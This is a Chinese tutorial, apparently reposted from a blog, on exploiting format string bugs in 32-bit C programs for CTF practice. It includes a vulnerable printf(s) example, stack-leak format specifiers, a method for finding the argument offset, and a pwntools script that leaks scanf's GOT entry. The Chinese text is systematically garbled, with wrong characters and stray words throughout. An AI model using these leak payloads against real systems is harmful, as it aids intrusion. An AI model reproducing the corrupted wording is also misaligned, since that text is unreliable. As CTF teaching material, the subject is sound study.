格式化字符串漏洞 format string exploit(一)

 

 

本文系原创,转载请说明出处函数

本文为基于CTF WIKI的PWN学习布局

0x00 格式化字符串原理学习

   先附一张经典的图,以下测试

 

  其栈上布局以下:spa

some value 
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

   若是程序写成了:调试

 

printf("Color %s, Number %d, Float %4.2f");

 

   分别将栈上的三个变量分别解析为:code

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

    咱们编写程序验证如下:orm

#include <stdio.h>
int main() {

  printf("Color %s, Number %d, Float %4.2f", “red”, 123456, 3.14);
  printf("Color %s, Number %d, Float %4.2f");
  return 0;
}

 

   输入如下命令编译(记得安装libc6-dev-i386库):blog

 gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c 

   运行结果内存

gdb调试一下:

b printf后输入r运行

能够看到在第一个printf的运行中,stack的参数正如上文所说,先是格式化字符串,再是123456(的16进制),最后是3.14

继续调试至第二个printf(一直按n)

 

 

 stack中咱们发现,首先入栈的依旧是格式化字符串,可是上面三个参数再也不是以前的那几个了。按照原理,第二次输出的应该是0xffffcfb4及以后的两个内存对应的内容。下面咱们来细致讨论。

 

0x01 漏洞利用

利用格式化字符串漏洞,咱们还能够获取咱们所想要输出的内容。通常会有以下几种操做

  • 泄露栈内存
    • 获取某个变量的值 (%s)
    • 获取某个变量对应地址的内存 (%p)
  • 泄露任意地址内存
    • 利用 GOT 表获得 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址 (addr%n$s)
    • 盲打,dump 整个程序,获取有用信息。

 1、泄露内存

(1)获取栈变量数值

这里使用ctf wiki上面的例子:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

编译运行调试

 

 调试:

 

 直接转载(copy)了:能够看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为咱们输入的格式化字符串对应的地址。继续运行程序,按c

 

 将会把上图中0xffffcf44及其后面两个地址包含的内容输出输出:

 

 并非每次获得的结果都同样 ,栈上的数据会由于每次分配的内存页不一样而有所不一样,这是由于栈是不对内存页作初始化的。这能够从我上面的几个截图结果看出来。

(2)获取栈指定变量值

可使用%n$x得到栈上第n+1个参数,格式化字符串是第一个参数,那么若是想得到printf的第n个参数,就须要加1.

如,我想得到第三个参数值f7e946bb,那么我就输入%3$x

(3)获取对应字符串:%s

(4)获取数据:%p

 

2、获取任意地址内存

上面的泄露并不强力,比赛中常常须要泄露某一个 libc 函数的 got 表内容,从而获得其地址,进而获取 libc 版本以及其余函数的地址,这时候,可以彻底控制泄露某个指定地址的内存就显得很重要了。

这里咱们再看一遍源程序代码:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

scanf接收入s的值,而后两个printf。这里咱们输入%s,以下调试,打印出0xff007325, 就是%s对应的字符串值,因此,输出函数的栈分布,栈上的第一个参数就是格式化字符串的地址。

这就意味着格式化字符串内容可控,同时,还须要注意的是,第一个参数虽然放置的是格式化字符串的地址,可是,输出函数并无在这里开始调用,你也能够从上图中看到,在0xffffcf50处,又有一个%s,这里才是调用格式化字符串的时候,输出格式化字符串表达的内容时刻。这就意味着,由于格式化字符串咱们能够本身控制,那么,若是我格式化字符串里面包含了%s,它会输出%s对应地址(0xff007325)所包含的内容,若是包含scanf@got, 它会输出scanf@got对应地址包含的内容,也就是scanf的真实地址。

总结:一、格式化字符串能够按照本身的意愿输入。二、格式化字符串的地址为栈上的第一个参数,顺序以后的某个位置会调用这个格式化字符串,以格式化字符串的内容输出内容。

因此,咱们只要知道,调用这个格式化字符串的位置就能够了。

根据CTF WIKI上的说明方案,咱们可使用下面的字符来肯定格式化字符串在哪调用:

[tag]%p%p%p%p%p%p...

若是输出栈的内容与咱们前面的 tag 重复了,那么咱们就能够有很大把握说明该地址就是格式化字符串的地址,之因此说是有很大把握,这是由于不排除栈上有一些临时变量也是该数值(0x41414141)。如:

 

 AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

咱们调试看一下:

我输入的是AAAA加上8个%p

 

 你会看到,AAAA后面依次输出8个内容,

第一个输出AAAA,这原本就是字符,做为一个标志显示出来罢了。而后日后,%p开始做用,依次是0xffffcfa0(能够看到格式化字符串为第一个参数,%p从格式字符串下一个开始),0xc2, 0xf7e946bb这些都是跟着格式化字符串后面的参数,以后,便打印出来0xffffcfa0地址对应的内容,即字符串。也就是说,其相对printf函数,为第5个参数(第五行),可是相对格式化字符串(第一行),是第四个参数。那么既然是第四个参数,咱们使用%4$s看看测试一下。

而后你会发现core dump:

 

 为啥?调试。

 

 首先,%4$s对应的存放地址为0xffffcfa0, 咱们查看内存发现存着的是0x73243425, 再看看0x73243425放着什么,啥都没有,那确定崩溃。

咱们输入%4$s是0x73243425, 咱们输入%5$s是0x732434525,................

那就是说,咱们肯定了参数为第几个后,在tag处输入想要得到的内容的地址,那么,输出的将是输入的地址对应的内容。

而后使用CTF wiki上payload改改就能够实现获取scanf的地址:

from pwn import *
sh = process('./leakmemory')  
leakmemory = ELF('./leakmemory')  
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  #获取got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'  #想要输出的地址加上肯定好的参数位置
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
sh.interactive()
相关文章
相关标签/搜索